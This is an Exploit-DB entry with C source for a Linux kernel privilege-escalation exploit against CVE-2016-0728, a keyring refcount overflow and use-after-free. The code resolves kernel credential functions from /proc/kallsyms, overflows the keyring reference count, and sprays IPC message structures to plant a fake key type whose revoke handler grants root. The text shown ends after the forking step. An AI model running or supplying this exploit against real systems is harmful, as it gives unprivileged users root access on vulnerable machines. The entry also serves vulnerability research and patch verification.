Exploit-DB #40003
Description: Linux Kernel 4.4.1 - REFCOUNT Overflow Use-After-Free in Keyrings Local Privilege Escalation (2)
Type: local
Platform: linux
Date: 2016-01-19
Author: Federico Bento

Exploit:
/*
# Exploit Title: Linux kernel REFCOUNT overflow/Use-After-Free in keyrings
# Date: 19/1/2016
# Exploit Author: Perception Point Team
# CVE : CVE-2016-0728
*/

/* CVE-2016-0728 local root exploit
   modified by Federico Bento to read kernel symbols from /proc/kallsyms
   props to grsecurity/PaX for preventing this in so many ways

   $ gcc cve_2016_0728.c -o cve_2016_0728 -lkeyutils -Wall
   $ ./cve_2016_072 PP_KEY */

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <keyutils.h>
#include <unistd.h>
#include <time.h>
#include <unistd.h>

#include <sys/ipc.h>
#include <sys/msg.h>

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

#define STRUCT_LEN (0xb8 - 0x30)
#define COMMIT_CREDS_ADDR (0xffffffff810bb050)
#define PREPARE_KERNEL_CREDS_ADDR (0xffffffff810bb370)



struct key_type {
    char * name;
        size_t datalen;
        void * vet_description;
        void * preparse;
        void * free_preparse;
        void * instantiate;
        void * update;
        void * match_preparse;
        void * match_free;
        void * revoke;
        void * destroy;
};

/* thanks spender - Federico Bento */
static unsigned long get_kernel_sym(char *name)
{
    FILE *f;
    unsigned long addr;
    char dummy;
    char sname[256];
    int ret;

    f = fopen("/proc/kallsyms", "r");
    if (f == NULL) {
        fprintf(stdout, "Unable to obtain symbol listing!\n");
        exit(0);
    }

    ret = 0;
    while(ret != EOF) {
        ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
        if (ret == 0) {
            fscanf(f, "%s\n", sname);
            continue;
        }
        if (!strcmp(name, sname)) {
            fprintf(stdout, "[+] Resolved %s to %p\n", name, (void *)addr);
            fclose(f);
            return addr;
        }
    }

    fclose(f);
    return 0;
}

void userspace_revoke(void * key) {
        commit_creds(prepare_kernel_cred(0));
}

int main(int argc, const char *argv[]) {
    const char *keyring_name;
    size_t i = 0;
        unsigned long int l = 0x100000000/2;
    key_serial_t serial = -1;
    pid_t pid = -1;
        struct key_type * my_key_type = NULL;

        struct {
        long mtype;
        char mtext[STRUCT_LEN];
    } msg = {0x[PII_REDACTED]414141, {0}};
    int msqid;

    if (argc != 2) {
        puts("usage: ./keys <key_name>");
        return 1;
    }

        printf("[+] uid=%d, euid=%d\n", getuid(), geteuid());
    commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
        prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");
    if(commit_creds == NULL || prepare_kernel_cred == NULL) {
        commit_creds = (_commit_creds)COMMIT_CREDS_ADDR;
                prepare_kernel_cred = (_prepare_kernel_cred)PREPARE_KERNEL_CREDS_ADDR;
                if(commit_creds == (_commit_creds)0xffffffff810bb050 || prepare_kernel_cred == (_prepare_kernel_cred)0xffffffff810bb370)
                    puts("[-] You probably need to change the address of commit_creds and prepare_kernel_cred in source");
    }

        my_key_type = malloc(sizeof(*my_key_type));

        my_key_type->revoke = (void*)userspace_revoke;
        memset(msg.mtext, 'A', sizeof(msg.mtext));

        // key->uid
        *(int*)(&msg.mtext[56]) = 0x3e8; /* geteuid() */
        //key->perm
        *(int*)(&msg.mtext[64]) = 0x3f3f3f3f;

        //key->type
        *(unsigned long *)(&msg.mtext[80]) = (unsigned long)my_key_type;

        if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
               perror("msgget");
            exit(1);
        }

        keyring_name = argv[1];

    /* Set the new session keyring before we start */

    serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name);
    if (serial < 0) {
        perror("keyctl");
        return -1;
        }

    if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) {
        perror("keyctl");
        return -1;
    }


    puts("[+] Increfing...");
        for (i = 1; i < 0xfffffffd; i++) {
            if (i == (0xffffffff - l)) {
                   l = l/2;
                    sleep(5);
            }
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                    perror("[-] keyctl");
                    return -1;
            }
        }
        sleep(5);
        /* here we are going to leak the last references to overflow */
        for (i=0; i<5; ++i) {
            if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) {
                    perror("[-] keyctl");
                    return -1;
            }
        }

        puts("[+] Finished increfing");
        puts("[+] Forking...");
        /* allocate msg struct in the kernel rewriting the freed keyring object */
        for (i=0; i<64; i++) {
            pid = fork();
            if (pid == -1) {
                    perror("[-] fork");
                    return -1;
            }

            if (pid == 0) {
                    sleep(2);
                    if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) {
                        perror("[-] msgget");
                        exit(1);
                    }
                    for (i = 0; i < 64; i++) {
                        if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) {
                                perror("[-] msgsnd");
                                exit(1);
                        }
                    }
                    sleep(-1);
                    exit(1);
            }
        }

        puts("[+] Finished forking");